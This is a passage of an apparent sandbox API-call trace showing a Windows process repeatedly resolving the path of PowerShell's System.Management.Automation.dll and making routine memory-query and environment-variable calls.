lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.021] GetLastError () returned 0xcb [0152.021] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd950, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.021] GetLastError () returned 0xcb [0152.021] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd950, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.021] GetLastError () returned 0xcb [0152.022] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.022] GetLastError () returned 0xcb [0152.022] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd950, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.022] GetLastError () returned 0xcb [0152.022] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd950, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.022] GetLastError () returned 0xcb [0152.022] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.022] GetLastError () returned 0xcb [0152.022] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd950, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.022] GetLastError () returned 0xcb [0152.022] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd950, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.022] GetLastError () returned 0xcb [0152.023] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.023] GetLastError () returned 0xcb [0152.023] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd950, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.023] GetLastError () returned 0xcb [0152.023] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd950, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.023] GetLastError () returned 0xcb [0152.023] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.023] GetLastError () returned 0xcb [0152.023] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd950, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.023] GetLastError () returned 0xcb [0152.023] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd950, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.023] GetLastError () returned 0xcb [0152.024] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.024] GetLastError () returned 0xcb [0152.024] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd950, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.024] GetLastError () returned 0xcb [0152.024] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd950, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.024] GetLastError () returned 0xcb [0152.024] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.024] GetLastError () returned 0xcb [0152.024] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd950, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.024] GetLastError () returned 0xcb [0152.024] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd950, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.024] GetLastError () returned 0xcb [0152.025] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.025] GetLastError () returned 0xcb [0152.025] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd950, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.025] GetLastError () returned 0xcb [0152.025] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd950, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.025] GetLastError () returned 0xcb [0152.028] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd984, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.028] GetLastError () returned 0xcb [0152.028] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd934, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.028] GetLastError () returned 0xcb [0152.028] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd934, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.029] GetLastError () returned 0xcb [0152.029] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd934, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.029] GetLastError () returned 0xcb [0152.073] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd984, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.073] GetLastError () returned 0xcb [0152.074] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd934, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.076] GetLastError () returned 0xcb [0152.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd934, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.076] GetLastError () returned 0xcb [0152.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd984, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.076] GetLastError () returned 0xcb [0152.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd934, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.077] GetLastError () returned 0xcb [0152.077] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd934, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.077] GetLastError () returned 0xcb [0152.077] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0152.080] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0152.080] GetLastError () returned 0xcb [0152.099] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0152.170] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0152.170] GetLastError () returned 0xcb [0152.172] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0152.172] GetLastError () returned 0xcb [0152.179] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0152.179] GetLastError () returned 0xcb [0152.194] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0152.194] GetLastError () returned 0xcb [0152.218] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0152.218] GetLastError () returned 0xcb [0152.228] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0152.232] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0152.344] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0152.344] GetLastError () returned 0xcb [0152.443] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0152.458] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0152.458] GetLastError () returned 0xcb [0153.172] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x68a598 [0153.173] GetLastError () returned 0x0 [0153.175] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x68a620 [0153.176] GetLastError () returned 0x0 [0153.453] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.539] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.545] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.545] VirtualQuery (in: lpAddress=0x2bc564, lpBuffer=0x2bd564, dwLength=0x1c | out: lpBuffer=0x2bd564*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.631] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.631] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.631] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.631] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.632] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.632] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.632] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.632] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.632] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.632] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.632] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.632] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.632] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.632] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.632] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.633] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.633] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.633] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.633] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.633] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.633] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.633] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.633] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.633] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.633] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.633] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.634] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.634] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.634] VirtualQuery (in: lpAddress=0x2bceb0, lpBuffer=0x2bdeb0, dwLength=0x1c | out: lpBuffer=0x2bdeb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.659] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdcac, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0153.659] GetLastError 